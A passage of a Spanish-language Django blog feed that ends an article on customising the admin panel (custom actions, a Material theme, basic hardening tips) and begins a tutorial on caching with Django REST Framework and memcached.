style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora la interfaz mostrará nombre, apellido y email de cada autor.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rate_five_stars&lt;/span&gt;(modeladmin, request, queryset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        queryset&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(rating&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5.0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        messages&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;success(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Se calificó con 5 estrellas&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_action(rate_five_stars, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Calificar con 5 estrellas&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez creado el método, lo agregamos al admin por medio de su método &lt;em&gt;add_action()&lt;/em&gt;, pasándole el método que creamos y el nombre que queremos que aparezca en pantalla para referirse a esa acción, como primer y segundo argumento, respectivamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionesDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AccionesDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Acción creada en el django admin model.&#34; width=&#34;700&#34; height=&#34;301&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si seleccionamos algunos elementos y ejecutamos la acción, los calificará con 5 estrellas y nos aparecerá el mensaje que definimos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/mensajeExitoDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/mensajeExitoDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Mensaje de éxito tras ejecutar acción en el djago admin&#34; width=&#34;456&#34; height=&#34;175&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;instalando-plantillas-externas-para-django-admin&#34;&gt;Instalando plantillas externas para django admin&lt;/h2&gt;&#xA;&lt;p&gt;Existen bastantes paquetes que permiten modificaciones bastante sofisticadas del django admin, que incluso pueden volverlo un CMS, just como Wordpress, con los que puedes entregarle a tus clientes una aplicación complemente funcional y lista para ser usada por personas no técnicas.&lt;/p&gt;&#xA;&lt;p&gt;Algunos ejemplos de lo anterior incluyen los siguientes paquetes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-jazzmin.readthedocs.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Jazzmin&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wagtail.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Wagtail&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/stephenmcd/mezzanine&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Mezzanine&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-cms.org/en/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django CMS&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Cada uno es un tema en si mismo, por lo que no puedo resumirlos en una sola entrada.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ejemplo-de-mejora-visual-con-django-material-admin&#34;&gt;Ejemplo de mejora visual con django material admin&lt;/h2&gt;&#xA;&lt;p&gt;Para finalizar te mostraré un ejemplo de mejora visual con &lt;em&gt;django-material-admin&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Vamos a instalarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;material&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ahora modificamos nuestra variable INSTALLED_APPS&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;material&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;material.admin&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# removemos django.contrib.admin&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos agregar un campo extra a nuestros modelos de admin para cambiar los íconos, basta con colocar el nombre que aparece en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://materializecss.com/icons.html&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;documentación de materialize&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    icon_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gamepad&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora accedemos al admin, podremos ver una nueva terminal mucho más estilizada. Y también un panel de administración más llamativo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/MaterialDjangoAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/MaterialDjangoAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla principal del  admin con django material&#34; width=&#34;1920&#34; height=&#34;980&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Panel de administración de Django con django-material&lt;/p&gt;&#xA;&lt;p&gt;Usé este paquete en especial porque se instala muy fácil y le da un aspecto completamente diferente al admin. Pero existen &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dev.to/sm0ke/django-admin-dashboards-open-source-and-free-1o80&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;muchas otras opciones disponibles&lt;/a&gt;&#xA; que puedes elegir, algunas de pago y otras gratuitas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;seguridad-en-el-django-admin&#34;&gt;Seguridad en el django admin&lt;/h2&gt;&#xA;&lt;p&gt;Es recomendable cambiar la url predeterminada, &lt;em&gt;/admin/&lt;/em&gt;, a otra menos obvia, esto con la finalidad de prevenir ataques por fuerza bruta, si el atacante no conoce la dirección del django admin, le será imposible intentar adivinar tu contraseña por fuerza bruta.&lt;/p&gt;&#xA;&lt;p&gt;También hay paquetes que crean un panel de administración falso que puedes monitorear, para conocer aquellas direcciones IP que intentan apoderarse de tu sitio por medio del panel de administración, uno de ellos es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/dmpayton/django-admin-honeypot&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;django-admin-honeypot&lt;/a&gt;&#xA;. Una vez que identificas estas direcciones IP, puedes limitar su acceso, ponerlas en una lista negra o bloquearlas por completo.&lt;/p&gt;&#xA;&lt;p&gt;Si necesitas funcionalidades extra para el admin, revisa la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/ref/contrib/admin/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Una de las mejores características de django es que cuenta con el django admin panel, un panel de administración listo para usarse, con funciones básicas como crear, leer, editar y eliminar modelos, usuarios, grupos y permisos. Todo listo con solo montar tu aplicación. Pero a veces nuestras necesidades son otras ¿y si queremos modificar la apariencia o las funciones de la interfaz? Afortunadamente Django incluye muchísimas funciones para personalizar el comportamiento del admin, te explicaré algunas a continuación.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial Caché con Django REST Framework y Memcached</title>
      <link>https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/</link>
      <pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Para usar la caché en django, basta con seguir tres sencillos pasos:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instalar un sistema de almacenamiento de caché, ya sea redis, memcached, etc&lt;/li&gt;&#xA;&lt;li&gt;Configurar la variable CACHES al archivo &lt;em&gt;settings.py&lt;/em&gt; del proyecto.&lt;/li&gt;&#xA;&lt;li&gt;Agregar el middleware necesario para que django devuelva la caché antes de procesar la vista.&lt;/li&gt;&#xA;&lt;li&gt;Usar la caché de bajo nivel para cachear vistas o datos específicos (opcional)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Implementar un sistema de caché te permite &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;mejorar enormemente el rendimiento de una aplicación hecha en Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-tanto-mejora-la-cache-el-rendimiento&#34;&gt;¿Qué tanto mejora la caché el rendimiento?&lt;/h2&gt;&#xA;&lt;p&gt;El efecto que tendrá la caché depende de muchos factores. Sin embargo, solo para que te des una idea, aquí tengo una comparación de una query que obtiene 1000 filas de una base de datos de un modelo sin relaciones con otros modelos.&lt;/p&gt;&#xA;&lt;p&gt;Como puedes observar la diferencia es de casi 10 veces el tiempo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/ComparacionCache1000filasDjango.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/ComparacionCache1000filasDjango.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparación del tiempo de respuesta con caché y sin caché para una aplicación de django.&#34; width=&#34;922&#34; height=&#34;654&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si tu aplicación está en el punto en el que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;es importante obsesionarte con el rendimiento de esta&lt;/a&gt;&#xA;, la caché es uno de los primeros pasos a tomar.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalando-memcached&#34;&gt;Instalando memcached&lt;/h2&gt;&#xA;&lt;p&gt;La caché en django requiere memcached, redis u otro método de almacenaje cache.&lt;/p&gt;&#xA;&lt;p&gt;Memcached es el método más rápido y eficiente según los desarrolladores de django, por lo que usaremos este. Memcached, está basado en memoria y se le asigna una cantidad fija de RAM que puede usar, es bastante rápido de implementar y sencillo de usar. Además está incluido en los repositorios de muchas distribuciones de GNU/Linux.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install memcached&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Verifica que el sistema esté corriendo con el comando systemctl, update-rc, systemE o cualquiera que sea el administrador de procesos de tu sistema.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl status memcached&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;● memcached.service - memcached daemon&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     Loaded: loaded &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/lib/systemd/system/memcached.service; enabled; vendor preset: enabled&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     Active: active &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;running&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; since Wed 2021-09-08 10:16:31 CDT; 5h 46min ago&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es bastante obvio, pero siento que debo mencionarlo: recuerda que 